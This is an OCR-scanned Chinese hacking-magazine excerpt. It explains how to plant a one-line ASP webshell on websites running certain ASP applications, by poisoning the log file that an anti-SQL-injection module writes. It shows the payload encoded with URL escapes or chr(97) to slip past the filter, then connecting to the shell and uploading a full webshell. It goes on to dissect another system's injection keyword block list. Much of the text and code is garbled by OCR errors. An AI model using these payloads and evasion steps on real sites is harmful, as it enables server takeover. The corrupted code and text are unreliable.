如发现有乱码,
请直接从这里浏览原文
正文摘录:图2那么,我们在这个页面的参数后插入一句话木马的话将会如何呢,如图3。图3提交后没有弹出相应的对话框,说明没有写入sea—log.asp这个文件中,我们把地址换成http://127.0.0.1/2005/Error.asp?allquery=珀=381再来试试,提交后终于弹出了我们希望看到的页面,如图4。可是当我们再次打开sealog.asp文件时,却看到小马被过滤成了<executerequest(“e”)>,如图5。图5我们可以看到“%”被过滤掉了,而小写的a旁边的双引号也被转换了。好了,知道了这点,就可以重新构造我们的小马了。打开“注入字符转换器”这款小工具,把一句话木马加密成%3C%25·xeout·+r·que。t%28%22%61%22%29%25%3E或转换成<%25executerequest(ehr(97))%25>,然后再分别进行提交。我们访问sea—log.asp文件,可以清楚的看到这两次提交的一句话木马都成功写入到sia.10g.asp文件中了(大家可以仔细观察图6中两个小写的a旁边引号的区别)。打开http://127.0.0.1/2005/sealog.asp,出现了“类型不匹:’exocute”,这说明一句话木马已经寄身成功了,如图7。我们使用一句话木马的客户端进行接连,然后再上传就可以成功得到一个Webshell了。=,快乐视昕音乐嘲V4.0版本系统的分析和利用该系统加强了防sQL注入的功能,当在参数后提交非法数据时,系统会自动记录你的IP地址、提交的非法参数和动作等,然后系统就会屏蔽你的IP地址,让你无法访问该网站。我们先来看一下sql.asP防注入文件中的部分代码:广<%l__……说明……一’SOL防注^加强版dimdbkIIl9a1dbkfllSqi=”data/#sqIaSD”。onError开esumeNextSetk_lISqIconn;ServerCreateobIect(“AOoO日Connection”)connkillSql=”Proylder=Microsoftdet.0LED840:Dat日Source=”&ServerMapRath(dbkillSq1)killSqlconn0penconnkillSallfErrThenerrClearSetkillSqlconn=NothingResponseWrite’’散据库建接出错请控查莲接字串。”ResponseEndEnd忏’一…一一《X船份…………一一一DimFy—Post.Fy—Get.Fy—In.FyInf.Fy—Xh.Fydb.Fy—dbstrKillIP.WriteS口I。自定义需要过蠢的字串,用“I”分隔Fy—In=”‘IiIandI(1)Kill—fP=TrueWriteS0l=True省略部份代码在sql.asp文件中,对fH现在“l”分隔中的字符进行了拦截:Fy—In=”’…endl(I)IexecIinsertlselectIdeI。telupdetelcountl*1%]chrlmidlmesterltruneetel~har/declere”。
阅读此文(图):
在线翻阅